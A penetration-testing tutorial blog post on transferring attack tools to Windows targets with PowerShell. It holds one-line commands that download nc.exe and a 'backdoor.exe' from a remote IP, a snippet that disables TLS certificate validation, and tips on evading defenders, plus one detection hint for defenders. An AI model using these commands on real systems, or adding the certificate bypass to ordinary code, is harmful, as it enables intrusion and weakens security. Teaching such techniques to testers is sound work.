Introduction
Mobility is a critical component of the attack. The ability to be adaptable, while transporting your tactics and tools into a remote environment, is a key differentiator between inexperienced and senior operators. The criticality is an aftereffect of frequency, one of the most common tasks in pentesting involves that rather simple, but ubiquitous, problem: Moving files from a machine you own to another that you? sort of own. It's a work in progress. To that effect having a game plan for transporting your tools into any environment no matter the configuration or security controls, will allow you to focus your efforts on the harder nuts to crack while leaving the skiddies to eat your dust!
File transfer frustrations in contested environments happen to all of us. The first time I forgot to turn on binary transfer mode in FTP, I could not figure out why the executable I transferred refused to run. The result? I spun my wheels endlessly on a simple problem (If binary transfer mode is not set - the file becomes corrupted).
Proficiency with various file transfer methods is one of the most useful skills to keep in a pentester's back pocket. This proves even more true during Red Team operations where any number of data transfer methods could be the key to maintaining persistent access, evading an active blue team, or even getting domain admin. On a recent engagement, we gained GUI access to a remote target by tunneling a remote desktop session, but struggled to get our toolkit onto the environment uncorrupted. We solved the problem by *drum roll please* ...downloading it with Internet Explorer. It worked... Okay then! While this cringe-worthy instance of GUI-driver paradise did in fact save the day, this post discusses a more efficient and powerful option: PowerShell.
At long last Windows users can wget! (Almost? technically it's Invoke-WebRequest aliased with the name wget, but close enough.)
Methods Covered in this Section
Win 7 PS WebClient:
(New-Object System.Net.WebClient).DownloadFile("http://10.0.0.10/nc.exe","nc.exe")
Win 8 and later PS Invoke-WebRequest (wget):
wget "http://10.0.0.10/nc.exe" -outfile "nc.exe"
Display PowerShell Version:
Get-Host $PSVersionTable.PSVersion
ServicePointManager $true:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Disable-NetSSLValidation
Invoke-SelfSignedWebRequest (External Project):
Invoke-SelfSignedWebRequest https://www.my.af.mil/ "-outfile index.htm" wget-ss https://spectruminfosec.com/index.php
Moving files onto a Windows environment was traditionally a more difficult task to accomplish due to its lack of straightforward file transfer tools. No netcat, wget, curl, ssh, or python. But with PowerShell, all of that capability is readily available at our fingertips. Yes, even wget.
An important distinction to be aware of are the differing versions of PowerShell active in the wild today. With older languages like perl, bash, and even python, much of the code-base has remained fairly consistent year-to-year. While PowerShell has undergone a macroevolution with each iteration of the Windows operating system since its inception. More on that later.
For now we'll start with the webclient that works on all versions of PowerShell.
PowerShell Webclient
(New-Object System.Net.WebClient).DownloadFile("http://10.0.0.10/nc.exe","nc.exe")
Because the above command is available on every version of Powershell, it is the preferable option for cross platform scripting engagements where there is uncertainty as to the Powershell version.
Command Breakdown
(New-Object System.Net.WebClient).DownloadFile("http://10.0.0.10/nc.exe","nc.exe")
1. (New-Object System.Net.WebClient) - Creates an instance of the WebClient class. The WebClient object has all the capabilities required to act like a GUI web client.
2. DownloadFile(" - Call the DownloadFile method in the WebClient class.
This method allows WebClient to download something from a remote server
3. http://10.0.0.10 - Download the file via the HTTP protocol from IP address 10.0.0.10
4. /nc.exe" - Download the file nc.exe
5. ,"nc.exe") - This is the destination file
PowerShell Invoke-WebRequest
wget "http://10.0.0.10/nc.exe" -outfile "nc.exe"
On newer versions of PowerShell, the Invoke-WebRequest cmdlet is at our disposal. Furthermore, it is aliased to and supports command syntax similar to the wget program found on many Unix systems.
Command Breakdown
wget "http://10.0.0.10/backdoor.exe" -outfile "backdoor.exe" 1. wget - Short for web get. Wget is a tool for downloading files via HTTP, HTTPS, and FTP. 2. "10.0.0.10 - Download the file via the HTTP protocol from IP address 10.0.0.10 3. /nc.exe" - Download the file backdoor.exe 4. -outfile "backdoor.exe" - The output file name for the downloaded file.
The Invoke-WebRequest cmdlet was introduced in Windows PowerShell starting with version 3.0. To determine what version is running on your environment run the Get-Host or $PSVersionTable.PSVersion commands. Referencing the PowerShell version table is more accurate than results returned by Get-Host, but either is generally sufficient.
Display PowerShell Version
Get-Host
or
$PSVersionTable.PSVersion
Windows 7 - PS 2.0
Windows 10 - PS 5.1
Beginning in October of 2009 with Windows 7 and Windows Server 2008 R2, PowerShell was distributed and installed as part of the default operating system build. Unfortunately, Windows 7 was released with PowerShell version 2.0 while many robust PowerShell cmdlets like Invoke-WebRequest (wget) did not find their way into the PowerShell ecosystem until version 3.0. In 2012 with the release of Windows 8 and Server 2012, PowerShell 3.0 became part of the standard operating system build. As of this writing, modern Windows 10 is distributed with PowerShell version 5.0 by default.
For the purposes of most penetration testing with PowerShell, the important distinction is between versions 2.0 and 3.0+. Many command line techniques in version 2.0 require direct instantiation of .NET constructors by way of the New-Object cmdlet as seen in the Windows 7 variant of the WebClient. In PowerShell 3.0+, many of these functions have been created and integrated as standalone cmdlets that are much more straightforward to use.
Conclusion
Web traffic is prolific on almost all networked environments. Downloading files over HTTP provides a great way to move traffic without being noticed. Looking for strange HTTP traffic is like hunting for the proverbial needle in the haystack. That said, consider the following: A phenomenal tactic for defenders looking for out-of-place HTTP traffic is to examine the user-agent string.
While the traffic itself doesn't stand out (aside from the not-so-subtle filename), the user-agent string "WindowsPowerShell/5.1?" is a definite eye-opener unless users frequently download files with Windows PowerShell.
Sometimes defenders can snag an easy win by filtering traffic on these strings and sifting out the things that don't match. Shout out to Seth Misenar and Chris Crowley who regularly teach tactics like these to members of the DoD (including this author) through the SANS RaD-X (Rapid Experience Builder) Course. If you are one of my DoD brethren, I can't recommend RaD-X enough.
Bonus: PowerShell over HTTPS
Having taken a dive into traffic inspection on the blue team side, how can red elevate their technique to evade? One idea that may come to mind is encryption. SSL/TLS is a typical part of modern web traffic. Unfortunately, when using the above techniques against a self-signed or invalid certificate, we don't get the most positive results:
*ERROR*
WebClient.DownloadFile():
Exception calling "DownloadFile" with "2" argument(s): "The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel."
Invoke-WebRequest:
The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel.
PowerShell automatically "protects" you against CERT_AUTHORITY_INVALID errors. As a pentester this can be problematic because we might frequently be setting up and operating from domains/redirectors that do not have an officially signed certificate. Bypassing this restriction can be hit or miss depending on the environment you find yourself in, but some combination of the following tricks generally works out.
For the webclient variant this bypass is typically quite trivial:
ServicePointManager $true:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
This technique disables SSL certificate validation through the System.Net.ServicePointManager endpoint by manually configuring the ServerCertificateValidationCallback to return $true, and allows us to connect to domains with self-signed certificates using WebClient.DownloadFile().
Unfortunately, the ServerCertificateValidationCallback will not work for asynchronous callbacks. Callbacks like Invoke-WebRequest and Invoke-RestMethod operate on their own task threads in order to provide other threads appropriate runspace for simultaneous execution. As a result, upon configuring ServerCertificateValidationCallback we end up with a different, new error:
The underlying connection was closed: An unexpected error occurred on a send.
Getting around this is a bit more difficult. Two general options exist:
1. Install the certificate manually
2. Disable certificate validation in the underlying .NET
As security professionals option #2 is an obvious choice!
Disable-NetSSLValidation
Download Code: Disable-NetSSLValidation.PDF
The above code snippet configures internal .NET settings to disable SSL certificate validation via useUnsafeHeaderParsing. Unfortunately, while this does work in some cases it is generally pretty ineffective. Drat!
Given that we have now been forced to take on the more security-minded approach, consider the following cmdlet:
Invoke-SelfSignedWebRequest
Download Code: Invoke-SelfSignedWebRequest.PDF
The Invoke-SelfSignedWebRequest cmdlet is a wrapper for Invoke-WebRequest that connects to a target host downloads the X.509 Certificate and loads it into the current user's certificate store.
It then passes the web request through to Invoke-WebRequest, removes the certificate from the store and resets ServerCertificateValidationCallback in order to leave a clean state. It's nice when the work around does the work for you right!?!
All code for these invalid SSL certificate bypass techniques and functions can be found on github as part of the SelfSignedWebRequest Repository: https://github.com/0sm0s1z/Invoke-SelfSignedWebRequest
You may also find the Disable-SSLValidation cmdlet useful. It disables SSL certificate validation by using reflection to implement the System.Net.ICertificatePolicy class. This cmdlet is quite old however and your mileage may vary.
Happy Hunting!
Matthew Toussain
https://twitter.com/0sm0s1z
